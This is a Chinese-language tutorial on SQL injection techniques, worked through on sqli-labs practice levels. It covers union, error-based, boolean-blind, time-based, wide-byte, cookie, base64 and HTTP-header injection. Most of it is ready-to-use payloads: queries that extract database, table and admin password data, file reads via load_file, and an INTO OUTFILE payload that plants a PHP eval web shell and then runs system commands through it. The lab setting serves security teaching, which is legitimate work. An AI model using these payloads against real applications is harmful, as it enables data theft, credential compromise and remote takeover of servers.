常见的sql注入手法
0x00. 注入点的判断
以sqlli-labs第二关为例具体讲解
变换id参数
当我们变换id参数(2+1|2-1)的时候,发现同一个页面,页面展现出不同的用户信息。也就是说,数据库中的内
容会回显到网页中来。
初步判定,id参数会带入数据库查询,根据不同的id查询数据库,得到不同的内容。猜测后台执行的SQL语句大致
结构为:
select * from tbName where id=2;
单引号
[ ?id=2']
执行的SQL主语则变为
select * from tbName where id=33';
页面报错,并且报错信息会回显在网页中,报错信息如下
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
错误信息' LIMIT 0,1
提示单引号位置出现错误,那么说明,SQL语句从头到参数2都是正确的。也就是说,我们添加
的单引号是多余的。因此,可以断定参数33前面没有引号,因此注入点可能为数字型注入
[and 1=1]
[ ?id=2 and 1=2 --+]
可能得SQL语句为
select * from tbName where id=1 and 1=1 --+
# --是sql注释,+是url中的空格
页面正常
[and 1=2]
[ ?id=33 and 1=2 --+]
可能得SQL语句
select * from tbName where id=2 and 1=2 --+
页面没有用户信息,并且数据库没有报错。由于1=2是恒假式,也就是查询条件[where id=2 and 1=2 --+]恒
假,这样的SQL语句在数据库中执行后,没有返回结果,没有用户信息内容。
反过来看,页面没有用户信息内容,也就是SQL语句查询条件为假。也就是说我们写的语句[and 1=2 --+],起到
了将查询条件置为假的作用。那么,可以通过构造语句来控制SQL语句的查询结果并且,SQL语句查询条件的真假
性,在页面回显中有体现。
[and sleep(5)]
[?id=2 and sleep( 5)]
注入sleep(5)语句,可以通过网络时间线看到延时。
说明sleep(5)语句起到了作用综上,此连接存在SQL注入漏洞。
0x01. 联合查询
你可能也会看到有人叫他联合注入或者union注入
由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入。
联合查询就是SQL语法中的union select语句。该语句会同时执行两条select语句,生成两张虚拟表,然后把查询
到的结果进行拼接。
select ~~~ union select ~~
由于虚拟表是二维结构,联合查询会"纵向"拼接,两张虚拟的表。
联合查询可以跨库跨表查询,这才是它的nb之处
必要条件
-
两张虚拟的表具有相同的列数
-
虚拟表对应的列的数据类型相同,在数据库中数字比较特殊有时会转换成字符,但是字符是不能转换成数字的
判断字段个数
可以使用order by
语句来判断当前select语句所查询的虚拟表的列数。order by
语句本意是按照某一列进行排
序,在mysql中可以使用数字来代替具体的列名
,比如order by 1
就是按照第一列进行排序,如果mysql没有找
到对应的列,就会报错Unknown column
。我们可以依次增加数字,直到数据库报错。
-
order by 1 --+
-
order by 2 --+
-
order by 3 --+
-
order by 4 --+ 报错
得到当前虚拟表中字段个数为3
判断显示位置
得到字段个数之后,可以尝试构造联合查询语句。
这里我们并不知道表名,根据mysql数据库特性,select语句在执行的过程中,并不需要指定表名。
?id=2 union select 1,2,3 --+
?id=2 union select null, null,null --+
页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假
,则显示第二条记录
。
因此构造SQL语句:
?id=2 and 1=2 union select 1,2,3 --+
在执行SQL语句的时候,可以考虑用火狐浏览器的插件hackbar,发现2和3会回显到页面中来。
数据库版本
我们可以将数字3用函数version()
代替,即可得到数据库的版本。
?id=2 and 1=2 union select 1,2,version() --+
数据库版本为5.5.53。
获取当前库名
database()?id=3 and 1=2 union select 1,2,database() --+
获取表名
这里就要引进一个特别的库来帮助我们查询 information_schema
information_schema
库是mysql系统用的所有字典信息,包括数据库系统有什么库,有什么表,有什么字典,有
什么存储过程等所有对象信息和进程访问、状态信息。再说简单点,这台MySQL服务器上,到底有哪些数库、
各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在
information_schema库里面,注:只有5.0版本以上的才有这个库
# information_schema下的schemata表 存放了所有的库相关信息,存放库名的字段是schema_name# 查看所有的库名select group_concat(schema_name) from information_schema.schemata # information_schema下的tables表 存放了所有的表相关信息,存放表名的字段是table_name,库名的字段是table_schema# 查看一个库下所有的表select group_concat(table_name) from information_schema.tables where table_schema="库名"#information_schema下的columns表 存放了所有的字段相关,存放字段名的字段是columns_name,表名的字段是table_schema,库名的字段是table_schema# 查看一个库下的一个表的所有字段select group_concat(column_name) from information_schema.columns where table_schema="库名" and table_name = "表名"
具体SQL语句
?id=2 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
如果数据库有爆错,你可以尝试把查询结果转换成16进制数,这样避免编码问题,查询结果再用BP解码
?id=2 and 1=2 union select 1,2,hex(group_concat(table_name)) from information_schema.tables where table_schema=database() --+
获取字段名
?id=2 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = "users" --+
获取字段值
获取管理员的账号和密码
?id=2 and 1=2 union select 1,2,password from security.users where username like "%25admin%25" --+
这里密码直接是明文显示了
一般账号的密码都是md5摘要后得到的,你可以去https://www.cmd5.com去撞库看看能不能得到原文密码
0x02. 报错注入
在注入点的判断过程中,发现数据库中SQL语句的报错信息,会显示在页面中
,因此可以进行报错注入
。
报错注入的原理,就是在错误信息中执行SQL语句。触发报错的方式很多,具体细节也不尽相同。此处建议直接
背公式即可
XPATH报错
只有mysql5版本以后才有xpath报错
updatexml( ) 32位长度
?id=2 and updatexml(1,concat('^',(select database()),'^'),1) --+
updatexml()函数报错输入的内容有限,一般group_concat会不全
extractvalue( )
?id=2 and extractvalue(1,concat('^',(select version()),'^')) --+
group by重复键冲突
详情请见 : https://www.cnblogs.com/richardlee97/p/10617115.html
报错注入经常发生在一些insert update delete这些语句中,尤其是一些靶场的报错,极易在insert语句中
所以你要想办法闭合你当前插入点的语句,一般有and '1' = '1 也有可能是双引号 , 如果不闭合的话 , 你可以自行
添加字段对应的值 , 值的个数由报错可以看到 , 然后注释掉原来的即可 , 常见语句
q' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1q' or updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1q' and updatexml(1,concat(0x7e,(select database()),0x7e),1),1)#q' or updatexml(1,concat(0x7e,(select database()),0x7e),1),1)#q' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1),1)#q' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名'),0x7e),1),1)#
语句是死的,但是人是活的,报错注入经常出现在http请求头中,而且多半不能直接注释,学会看报错信息,想办
法闭合
# insert插入insert into 表名(字段1,字段2,字段3) value ('$id','$username','password','email')
如果你构建的sql语句是在$username那里插入的话,那你就不能直接注释,如果注释的话,就少了两个字段的值
数据库会先报这个错,所以要么你把单引号闭合,不要注释
要么你就直接自己写两个字段的值(一般用数字),然后注释后面的内容,不要忘记最后还有一个括号推荐
q' and updatexml(1,concat(0x7e,(select database()),0x7e),1),123456,'1@qq.com')#
0x03. 布尔盲注
原理 : 利用页面返回的布尔类型状态,正常或者不正常。
详细的解释就是通过and 连接一句条件语句,然后根据页面返回的状态判断该条件语句是否成立,我们可以利用
条件语句去判断库,表,字段等
布尔盲注的流程
?id=2 and length(database())>0 --+# length() 返回接收参数的长度
页面返回正常,我们可以判断出条件语句为真,即库名的长度是大于0的,然后我们再通过二分法进一步缩小查找
范围,最终得到库名的长度
?id=2 and length(database())<10 --+?id=2 and length(database())>5 --+?id=2 and length(database())>7 --+# 以上页面都返回内容正常?id=2 and length(database())>9 --+# 返回的页面无内容,说明库名的长度大于7小于9,很有可能是8
?id=2 and length(database())=8 --+
没错果然是8
?id=2 and ascii(substr(database(),1,1))>0 --+#substr('字符串',start,step) 从第几个位置,截取当前字符串多少个字符substr('hello',1,1) 从第1个位置,截取当前字符串hello1个字符 返回的结果为h# ascii( ) 返回当前字符对应的ascii表中的十进制数表示ascii("a") 返回97
ascii码表部分截图
当然也是先判断范围,然后最终确定数字,再查ascii表,看看是什么字符
?id=2 and ascii(substr(database(),1,1))>100 --+?id=2 and ascii(substr(database(),1,1))<120 --+?id=2 and ascii(substr(database(),1,1))>110 --+?id=2 and ascii(substr(database(),1,1))>115 --+ 没有内容返回,说明在110到115之间?id=2 and ascii(substr(database(),1,1))>113 --+?id=2 and ascii(substr(database(),1,1))>114 --+
?id=2 and ascii(substr(database(),1,1))=115 --+
接下来的流程就是一个一个字符把库名猜出来,然后用同样的手段去猜表名,字段名等
猜表名长度
?id=2 and (select length(group_concat(table_name)) from information_schema.tables where table_schema=database())>30 --+
这种盲注时间成本特别高,可以用工具实现半自动化爆破,或者用常见的表名去爆破
0x04. 延时注入
延时注入原理 : 利用sleep()语句的延时性,以时间线作为判断条件。
也有人把延时注入划分在盲注这一类,因为都是看不见回显和报错,延时注入长和if语句搭配使用
获取库名
获取数据库名长度
?id=2 and if(( length(database( ))=8),sleep(5),1) --+# 如果库名长度等于9就睡5秒再加载页面,否则就直接加载页面
直接加载页面说明库名长度不等于9
?id=2 and if(( length(database( ))=8),sleep(5),1) --+# 如果库名长度等于8就睡5秒再加载页面,否则就直接加载页面
睡了5秒,说明数据库长度等于8
紧接着就是判断库名的每个字符,然后判断表,字段等,这种时间成本更高,而且受网速影响
口诀
是否有回显 联合查询
是否有报错 报错注入
是否有布尔类型状态 布尔盲注绝招
绝招 延时注入 时间是衡量一切的标准
0x05. 其他注入手法
1. 读写文件
前提条件
我们也可以利用SQL注入漏洞读写文件。但是读写文件需要一定的条件。
该参数在高版本的mysql数据库中限制了文件的导入导出操作。改参数可以写在my.ini配置文件中[mysqld]下。若
要配置此参数,需要修改my.ini配置文件,并重启mysql 服务。
关于该参数值的相关说明
secure-file-priv参数配置含义
secure-file-priv= 或者 secure-file-priv="" 不对mysqld的导入导出操作做限制secure-file-priv='c:/a/ ' 限制mysqld 的导入导出操作发生在c:/a/ 下(子目录有效)secure-file-priv=null 限制mysqld 不允许导入导的操作,这也是mysql5.0后的默认配置
利用已经获取的数据库账号和密码,连接数据库查看当前用户的文件权限
查询语句
select File_priv from mysql.user where user=" root" and host="localhost
有权限,一般root用户对文件操作都是有条件的
读取文件操作
?id=2 and 1=2 union select 1,load_file('C:\\WINDOWS\\system32\\drivers\\etc\\hosts'),3 --+
写入文件操作
?id=2 and 1=2 union select 1,'<?php @eval(\$_REQUEST[777]);?>',3 into outfile 'C:\\phpstudy\\www\ \666.php' --+$出现在引号中,最后转义可以避免很多问题,注意windows下的路径要两个反斜杠,或者你用一个斜杠也行
直接传入参数,页面如果不报错,说明写入成功。
可以直接查看写入的文件
写入一句话木马后你就可以访问这个地址,然后通过?777=命令 , 执行你想要的命令,比如whoami,ipconfig等
?777 = echo "ipconfig";
# 你不但可以写入一句话木马,还可以写入<?php phpinfo();?>?id=2 and 1=2 union select 1,'<?php phpinfo();?>',3 into outfile 'C:\\phpstudy\\www\\777.php' --+
2. 宽字节注入
宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。
为了说明宽字节注入问题,我们以SQLi-labs 32关为例子。
http://192.168.18.81:90/sqlin/Less-32/?id=2%27
使用?id=2'
进行测试的时候,发现提交的单引号会被转义\'
。此时,转义后的单引号不再是字符串的标识,会被
作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL语句的结构。
单引号原本是一个控制字符,如果被转义就会变成一个普通的字符,起不到闭合字符串的作用了
如果phpstudy开了魔术符号也会自动给某些特殊字符添加反斜杠进行转义
我们通过阅读32关的源码,发现几句非常意思的代码,如下。
连接数据库时,会将字符编码设置为GBK编码集合,然后进行SQL语句拼接,最后进行数据库查询。
?id=2\'
发现还是不可以,就算你用\再转义,后台的代码仍然会对你转义之后的再转义
# ascii转16进制\ ---> 5c
既然是gbk编码,那么我们不妨看一下用gbk编码的汉字有没有包括5c的,用另一半和5c组成一个汉字的gbk编码
后的16进制数,不就把原来的\
吃掉了吗,只剩下一个单引号,真的是妙啊
网上流传的版本是%df
%df5c0xdf5c 是汉字運 %df5c 是url编码
?id=2%df'
没有\
, 哈哈哈,又可以愉快的注入啦 , 而且发现是字符型注入
网络上流传的都是%df干掉反斜杠,实际上不止%df还有%cf,%af等等,只要在gbk编码范围里面就可以
?id=1%df' and 1=2 union select 1,database(),version() --+
3. Cookie 注入
注入的参数提交在cookie信息中
我们使用SQLi-labs第20关来说明Cookie 注入问题。
Cookie 注入的注入参数需要通过Cookie提交,可以通过document.cookie
在控制台完成对浏览器Cookie 的读
写。
来到less-20,输入用户名和密码
得到cookie信息
看到cookie中有我们提交的参数,我们可以在参数后面添加单引号尝试是否具有注入点,但是在当前页面我们无
法向这次请求的cookie值添加单引号,为了方便操作我们用BP抓包,自定义提交
说明存在SQL注入点,而且还是字符型注入
更换cookie的值,发现没有问题,虽然页面上有cookie的具体内容但是这个回显不算数,正常情况下浏览器是不
会把cookie的值显示在页面上的,但是有数据库爆错信息,所以我们可以用爆错注入
获取库名
' and updatexml(1,concat("^",database(),"^"),1)#
你也可以在控制台中进行cookie注入
document.cookie="uname=Dumb' and extractvalue( 1,concat(0x7e,database( ),0x7e))#"
当你点下刷新页面的时候,就会出现报错信息
4. base64 注入
注 : base64不是一种加密方法,他是一种编码方法
我们使用SQLi-labs第22关来说明base64 注入问题。
当我输入账号和密码登录的时候,返回的页面cookie信息中显示的uname不在是Dumb,而是RHVtYg==,一看
到==我就不禁的想到base64编码
于是用BP转码,发现果然和猜的一样
于是抓包打算用base 64编码注入
Dump'
发现并没有报错,说明有可能单引号不是闭合方式,试试双引号
Dump"RHVtcCI=
ok,报错了,而且从报错信息中还能看出来是字符型注入,注意字符型不仅只指单引号,还有双引号
Dump" and updatexml(1,concat('^',database(),'^'),1)#RHVtcCIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgnXicsZGF0YWJhc2UoKSwnXicpLDEpIw==
5. HTTP头部注入
http 头部注入就是指注入字段在HTTP
头部的字段中,这些字段通常有User-Agent、Referer等。
User-Agent 注入
如SQLi-labs第18关
输入账号和密码之后得到带有user-agent信息的页面
然后我们通过抓包猜测user-agent是不是一个用户会向后台提交数据的字段
通过更改user-agent的值发现,果然是一个会向后台提价数据的字段,于是我们尝试是否存在注入点
alex'
报错了,果然是一个sql注入点 , 还是一个字符型注入,但是这个报错信息和常见的又不一样,很有可能后面的这
部分是不可缺少的一部
分,注意sql语句的拼接,首先尝试直接注释
alex'#
发现还是报错说明之前的语句不能直接注释掉
hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and'1'='1
通过看源码发现,与数据库交互的一条插入语句,所以不能直接把原来sql语句后面的语句直接注释掉,这里的and '1' = '1 , 是为了闭合原有的单引号同时不影响后面的SQL语句
Referer注入
第19关,注入字段在Referer 中
登录账号和密码后出现以下画面
这里同样猜测可能是一个insert插入语句到数据库中,肯定不是查询语句,那么就要闭合单引号了,不能直接注释
单引号测试
hacker' and updatexml(1,concat(0x7e,database( ),0x7e),1) and '1'='1
以上就是常见的SQL注入的手法了